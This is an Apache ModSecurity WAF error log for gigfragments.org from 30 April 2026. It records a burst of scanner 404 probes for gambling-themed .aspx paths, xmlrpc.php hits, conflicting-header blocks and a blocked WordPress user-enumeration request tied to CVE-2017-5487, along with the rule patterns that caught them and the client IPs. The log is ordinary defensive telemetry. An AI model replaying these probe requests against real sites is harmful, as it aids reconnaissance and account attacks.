[Thu Apr 30 16:39:05.031846 2026] [:error] [pid 40003:tid 40024] [client 95.91.110.210:50196] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "afMVKTIyJ-Orl-2KA1LBrAAAANI"]
[Thu Apr 30 16:39:09.032445 2026] [:error] [pid 40003:tid 40027] [client 95.91.110.210:50204] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "afMVLTIyJ-Orl-2KA1LBswAAANU"]
[Thu Apr 30 16:39:11.244585 2026] [:error] [pid 39911:tid 39968] [client 95.91.110.210:50206] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "afMVL__4a0SsIQsiLSnpbQAAAFg"]
[Thu Apr 30 16:39:13.457901 2026] [:error] [pid 39910:tid 39914] [client 95.91.110.210:50222] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afMVMdtf04xYDlbRUODtcQAAAAA"]
[Thu Apr 30 16:39:16.590900 2026] [:error] [pid 40003:tid 40008] [client 95.91.110.210:14160] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afMVNDIyJ-Orl-2KA1LBvAAAAMI"]
[Thu Apr 30 16:39:18.744993 2026] [:error] [pid 40003:tid 40020] [client 95.91.110.210:14166] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afMVNjIyJ-Orl-2KA1LBwQAAAM4"]
[Thu Apr 30 16:39:20.779989 2026] [:error] [pid 39910:tid 39920] [client 95.91.110.210:14180] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afMVONtf04xYDlbRUODtdgAAAAY"]
[Thu Apr 30 16:39:23.714202 2026] [:error] [pid 40003:tid 40009] [client 95.91.110.210:14196] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afMVOzIyJ-Orl-2KA1LBzgAAAMM"]
[Thu Apr 30 16:39:26.801522 2026] [:error] [pid 39911:tid 39953] [client 95.91.110.210:31370] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afMVPv_4a0SsIQsiLSnpfgAAAEk"]
[Thu Apr 30 16:39:29.080469 2026] [:error] [pid 39911:tid 39950] [client 95.91.110.210:31378] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afMVQf_4a0SsIQsiLSnpkQAAAEY"]
[Thu Apr 30 16:40:39.987462 2026] [:error] [pid 40003:tid 40017] [client 95.91.110.210:31388] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "afMVhzIyJ-Orl-2KA1LCcQAAAMs"]
[Thu Apr 30 16:40:43.132660 2026] [:error] [pid 39911:tid 39968] [client 95.91.110.210:6766] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "afMVi__4a0SsIQsiLSnp7QAAAFg"]
[Thu Apr 30 16:40:45.177824 2026] [:error] [pid 39912:tid 39971] [client 95.91.110.210:5832] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "afMVja8-s8fTICYp_ct7qgAAAIA"]
[Thu Apr 30 16:40:49.718509 2026] [:error] [pid 39911:tid 39957] [client 95.91.110.210:5848] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "afMVkf_4a0SsIQsiLSnp9gAAAE0"]
[Thu Apr 30 16:41:08.602755 2026] [:error] [pid 40003:tid 40019] [client 95.91.110.210:5862] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "afMVpDIyJ-Orl-2KA1LCuAAAAM0"]
[Thu Apr 30 16:42:33.121082 2026] [:error] [pid 39912:tid 39987] [client 95.91.110.210:3084] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "afMV-a8-s8fTICYp_ct8ewAAAJA"]
[Thu Apr 30 16:42:35.052129 2026] [:error] [pid 39911:tid 39958] [client 95.91.110.210:54722] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afMV-__4a0SsIQsiLSnqugAAAE4"]
[Thu Apr 30 16:42:37.017270 2026] [:error] [pid 39912:tid 39974] [client 95.91.110.210:54738] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "afMV_a8-s8fTICYp_ct8fQAAAIM"]
[Thu Apr 30 16:42:38.975288 2026] [:error] [pid 40003:tid 40023] [client 95.91.110.210:54748] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afMV_jIyJ-Orl-2KA1LDiQAAANE"]
[Thu Apr 30 16:42:40.924292 2026] [:error] [pid 39912:tid 39982] [client 95.91.110.210:54762] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "afMWAK8-s8fTICYp_ct8fwAAAIs"]
[Thu Apr 30 16:42:42.886572 2026] [:error] [pid 39912:tid 39995] [client 95.91.110.210:54770] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "afMWAq8-s8fTICYp_ct8gAAAAJg"]
[Thu Apr 30 16:42:44.843755 2026] [:error] [pid 39912:tid 39975] [client 95.91.110.210:14914] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "afMWBK8-s8fTICYp_ct8gwAAAIQ"]
[Thu Apr 30 16:42:46.830192 2026] [:error] [pid 40003:tid 40019] [client 95.91.110.210:14924] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "afMWBjIyJ-Orl-2KA1LDsQAAAM0"]
[Thu Apr 30 16:42:48.794570 2026] [:error] [pid 39912:tid 39988] [client 95.91.110.210:14938] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "afMWCK8-s8fTICYp_ct8jQAAAJE"]
[Thu Apr 30 16:42:50.751713 2026] [:error] [pid 39910:tid 39916] [client 95.91.110.210:14954] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "afMWCttf04xYDlbRUODuBgAAAAI"]
[Thu Apr 30 16:42:52.714791 2026] [:error] [pid 39910:tid 39930] [client 95.91.110.210:14960] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "afMWDNtf04xYDlbRUODuDAAAABA"]
[Thu Apr 30 16:42:54.674557 2026] [:error] [pid 39911:tid 39949] [client 95.91.110.210:64906] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afMWDv_4a0SsIQsiLSnqzQAAAEU"]
[Thu Apr 30 16:42:56.653538 2026] [:error] [pid 39911:tid 39962] [client 95.91.110.210:64912] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "afMWEP_4a0SsIQsiLSnqzwAAAFI"]
[Thu Apr 30 16:42:58.609703 2026] [:error] [pid 39910:tid 39938] [client 95.91.110.210:64914] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "afMWEttf04xYDlbRUODuDwAAABg"]
[Thu Apr 30 16:43:00.584461 2026] [:error] [pid 39911:tid 39963] [client 95.91.110.210:64924] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "afMWFP_4a0SsIQsiLSnq1wAAAFM"]
[Thu Apr 30 16:43:02.543170 2026] [:error] [pid 39912:tid 39978] [client 95.91.110.210:64936] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "afMWFq8-s8fTICYp_ct8wwAAAIc"]
[Thu Apr 30 16:43:04.508623 2026] [:error] [pid 39910:tid 39924] [client 95.91.110.210:58434] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afMWGNtf04xYDlbRUODuRwAAAAo"]
[Thu Apr 30 16:43:06.477946 2026] [:error] [pid 39912:tid 39994] [client 95.91.110.210:58438] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "afMWGq8-s8fTICYp_ct8xwAAAJc"]
[Thu Apr 30 16:43:08.437871 2026] [:error] [pid 39912:tid 39976] [client 95.91.110.210:58450] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "afMWHK8-s8fTICYp_ct8ygAAAIU"]
[Thu Apr 30 16:43:10.410806 2026] [:error] [pid 39912:tid 39980] [client 95.91.110.210:58462] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afMWHq8-s8fTICYp_ct81gAAAIk"]
[Thu Apr 30 16:43:12.385120 2026] [:error] [pid 39911:tid 39944] [client 95.91.110.210:58464] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "afMWIP_4a0SsIQsiLSnq5wAAAEA"]
[Thu Apr 30 16:43:14.351533 2026] [:error] [pid 39910:tid 39931] [client 95.91.110.210:34334] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "afMWIttf04xYDlbRUODuUAAAABE"]
[Thu Apr 30 16:43:16.317800 2026] [:error] [pid 39911:tid 39953] [client 95.91.110.210:34336] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "afMWJP_4a0SsIQsiLSnq7AAAAEk"]
[Thu Apr 30 16:43:18.277362 2026] [:error] [pid 40003:tid 40017] [client 95.91.110.210:34342] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "afMWJjIyJ-Orl-2KA1LD7AAAAMs"]
[Thu Apr 30 16:43:20.246020 2026] [:error] [pid 39911:tid 39947] [client 95.91.110.210:34348] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afMWKP_4a0SsIQsiLSnq7gAAAEM"]
[Thu Apr 30 16:43:22.208356 2026] [:error] [pid 39910:tid 39928] [client 95.91.110.210:34364] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "afMWKttf04xYDlbRUODuWgAAAA4"]
[Thu Apr 30 16:43:24.180430 2026] [:error] [pid 39911:tid 39952] [client 95.91.110.210:34366] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "afMWLP_4a0SsIQsiLSnrBAAAAEg"]
[Thu Apr 30 16:48:00.327401 2026] [:error] [pid 39912:tid 39989] [client 43.165.195.234:52592] [client 43.165.195.234] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afMXQK8-s8fTICYp_ct-mwAAAJI"]
[Thu Apr 30 17:59:15.138478 2026] [:error] [pid 669:tid 676] [client 212.47.67.223:62701] [client 212.47.67.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.67.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMn82NctUJlcIaw6IsNTwAAAIU"]
[Thu Apr 30 17:59:25.295665 2026] [:error] [pid 701:tid 719] [client 212.47.67.223:63128] [client 212.47.67.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.67.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMn_WpW0MdJ8PijKP-UBQAAAA4"]
[Thu Apr 30 17:59:35.732989 2026] [:error] [pid 762:tid 779] [client 212.47.67.223:63644] [client 212.47.67.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.67.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMoB0JIh_EKAkiQPcOWJwAAAQ4"]
[Thu Apr 30 17:59:46.311400 2026] [:error] [pid 669:tid 675] [client 212.47.67.223:64008] [client 212.47.67.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.67.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMoEmNctUJlcIaw6IsNWgAAAIQ"]
[Thu Apr 30 17:59:56.757835 2026] [:error] [pid 702:tid 757] [client 212.47.67.223:64375] [client 212.47.67.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.67.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMoHKZqJadgBxPePYzL3gAAAFg"]
[Thu Apr 30 18:26:08.349577 2026] [:error] [pid 5732:tid 5771] [client 103.109.222.205:51512] [client 103.109.222.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.222.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMuQNuJ3iSd5GdjqlguggAAAMg"]
[Thu Apr 30 18:28:11.419534 2026] [:error] [pid 5732:tid 5785] [client 114.119.135.32:23665] [client 114.119.135.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "afMuu9uJ3iSd5GdjqlgvIgAAANY"], referer: https://gigfragments.org/publications-and-outcomes
[Thu Apr 30 18:28:21.672517 2026] [:error] [pid 6456:tid 6475] [client 103.109.222.205:53427] [client 103.109.222.205] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afMuxUOBwsDodnkJK5wsLAAAAFE"]
[Thu Apr 30 18:29:07.707565 2026] [:error] [pid 6456:tid 6462] [client 103.109.222.205:54085] [client 103.109.222.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.222.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMu80OBwsDodnkJK5wsdgAAAEQ"]
[Thu Apr 30 18:29:51.490983 2026] [:error] [pid 5732:tid 5782] [client 103.109.222.205:54743] [client 103.109.222.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.222.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMvH9uJ3iSd5GdjqlgvhgAAANM"]
[Thu Apr 30 18:30:42.021807 2026] [:error] [pid 5731:tid 5751] [client 103.109.222.205:55705] [client 103.109.222.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.222.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMvUg8tX7TbSfYoUIwwvgAAAJA"]
[Thu Apr 30 18:31:26.679515 2026] [:error] [pid 5731:tid 5738] [client 103.109.222.205:56448] [client 103.109.222.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.222.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afMvfg8tX7TbSfYoUIww0wAAAIM"]
